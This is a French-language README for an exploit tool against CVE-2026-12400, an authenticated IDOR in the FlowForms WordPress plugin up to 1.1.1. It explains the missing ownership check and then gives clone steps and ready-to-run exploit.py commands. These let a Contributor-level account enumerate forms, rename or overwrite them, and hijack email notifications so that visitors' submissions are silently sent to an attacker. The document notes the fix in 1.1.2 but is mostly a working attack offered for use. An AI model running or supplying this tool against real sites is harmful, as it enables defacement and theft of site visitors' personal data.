
Exploit IDOR WordPress authentifié pour CVE-2026-12400 ; énumère les identifiants de formulaire REST FlowForms et modifie le contenu du formulaire ou détourne les notifications par e-mail.
Référence directe d'objet non sécurisée (IDOR) authentifiée (Contributeur+) permettant la modification arbitraire de formulaire dans FlowForms ≤ 1.1.1
| Propriété | Valeur |
|---|---|
| CVE ID | CVE-2026-12400 |
| Score CVSS | 4.3 — Moyen |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Contournement d'autorisation via clé contrôlée par l'utilisateur) |
| Produit | FlowForms — Plugin de constructeur de formulaires conversationnels WordPress |
| Versions affectées | Toutes les versions jusqu'à 1.1.1 inclus |
| Corrigé dans | Corrigé dans 1.1.2 |
| Chercheur | Phantom Hat |
Étude de cas white-box complète avec analyse du code source, traçage du flux d'entrée et comparaison des correctifs :
FlowForms expose deux points de terminaison d'API REST sous l'espace de noms flowforms/v1 qui sont vulnérables :
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Les deux acceptent un {id} contrôlé par l'utilisateur dans le chemin d'URL et modifient les données du formulaire cible — nom, contenu, mise en page, URL de redirection et destinataires des notifications par e-mail.
Les deux enregistrements de route vulnérables partagent le même permission_callback défectueux :
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts est une capacité détenue par les Contributeurs. Le paramètre {id} n'est jamais vérifié par rapport à la propriété de l'utilisateur demandeur — tout utilisateur authentifié peut cibler n'importe quel ID de formulaire sur le site.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Mode | Endpoint | Impact |
|---|---|---|
name | /forms/{id} | Renommer n'importe quel formulaire — défiguration, ingénierie sociale |
content | /forms/{id} | Écraser la mise en page, les écrans de bienvenue/remerciement, l'URL de redirection |
email | /forms/{id}/settings | Détourner l'e-mail de notification — recevoir silencieusement toutes les soumissions de formulaire |
Le mode email est le plus critique. Après le détournement, chaque soumission au formulaire de contact de la victime — y compris les données personnelles des visiteurs, les messages et les coordonnées — est silencieusement transmise à l'adresse contrôlée par l'attaquant. L'administrateur du site ne voit aucune indication du changement.
Contributeur sur le site ciblegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renommer n'importe quel formulaire avec un contenu contrôlé par l'attaquant :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Écraser la mise en page du formulaire, les écrans, l'URL de redirection et les images d'arrière-plan :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Rediriger toutes les futures notifications de soumission de formulaire vers une adresse contrôlée par l'attaquant :
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Option | Abrév. | Description | Requis |
|---|---|---|---|
--url | -u | URL WordPress cible | ✅ |
--user | Nom d'utilisateur WordPress (Contributeur+) | ✅ | |
--password | Mot de passe WordPress | ✅ | |
--id-start | -i | ID de formulaire de départ pour l'énumération | ✅ |
--num-forms | -n | Nombre d'IDs de formulaire à énumérer | ✅ |
--exploit | Mode d'attaque : name / content / email | ✅ | |
--proxy | -p | URL du proxy (ex. http://127.0.0.1:8080) | ❌ |